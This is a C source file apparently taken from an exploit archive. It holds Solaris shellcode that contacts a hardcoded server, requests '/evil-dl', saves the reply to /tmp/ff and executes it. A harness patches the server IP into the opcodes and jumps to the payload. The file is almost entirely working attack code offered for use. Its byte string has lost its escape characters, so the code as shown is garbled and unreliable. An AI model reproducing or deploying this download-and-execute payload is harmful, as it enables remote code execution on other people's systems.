/*

 black-dl-exec-SOLARIS.c (MIPS)  [278:bytes]
 Dowloads a binary from host given named 'evil-dl' to '/tmp/ff' then executes.
 11.21.6  Russell Sanford  (xort@blacksecurity.org)

 gcc -lnsl black-dl-exec-SOLARIS.c -o bdes

*/

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

// opcode encodings for performing sethi/or against/into register %o1 w/ nulled data

#define SETHI_O1 0x13000000
#define OR_O1	 0x92126000

char dl_exec_sh[] =
"xa6x1axc0x0bx20xbfxffxffx20xbfxffxffx7fxffxffxffx90x10x20x02x92x10x20x02"
"x94x1ax80x0ax96x1axc0x0bx98x10x20x01x82x10x20xe6x91xd0x20x08xc0x2bxe0xa6"
"xd0x23xbfxfcx92x20x3fxfex93x2ax60x10x92x22x7fxb0xd2x23xbfxecx13x37xabx6f"
"x92x12x62xefxd2x23xbfxf0xc0x23xbfxf4x92x03xbfxecx94x10x20x10x82x10x20xeb"
"x91xd0x20x08xc0x2bxe1x0ex92x03xe0xfcx94x20x3fxf2xd0x03xbfxfcx82x10x20x04"
"x91xd0x20x08xc0x2bxe0xfbx90x03xe0xf4x94x20x3cx13x92x20x3exfex82x10x20x05"
"x91xd0x20x08xd0x23xbfxf8xd0x03xbfxfcx92x03xbfxc4x94x10x20x14x82x10x20x03"
"x91xd0x20x08xa4xa4xc0x08x02x80xFFx06x94x0ax3fxffxd0x03xbfxf8x82x10x20x04"
"x91xd0x20x08x10xbfxffxf5x94x1ax80x0axd4x23xe0xfcxd4x23xe0xf0x90x03xe0xf4"
"xd0x23xe0xecx92x03xe0xecx82x10x20x0bx91xd0x20x08x6fx6dx66x67x20x73x6fx6c"
"x61x72x69x73x20x73x68x65x6cx6cx63x6fx64x65x7ax21x2fx74x6dx70x2fx71x71x41"
"x47x45x54x20x2fx65x76x69x6cx2dx64x6cx0ax0a"; 


void patchcode(long webserver) {

	// fix sethi instruction to set up ip.
	*(long *)&dl_exec_sh[68] = SETHI_O1 + ((webserver)>>10 & 0x3fffff);

	// FIX or instruction to set up ip.
	*(long *)&dl_exec_sh[72] = OR_O1 + (webserver & 0x2ff);
}

void (*fakefunc)();

void main() {

	patchcode(inet_addr("10.1.1.2"));
	char *buffer = (char *) malloc(1024);
	memcpy(buffer, dl_exec_sh, 280);
	fakefunc = buffer;
	fakefunc();
}

// www.Syue.com [2006-11-21]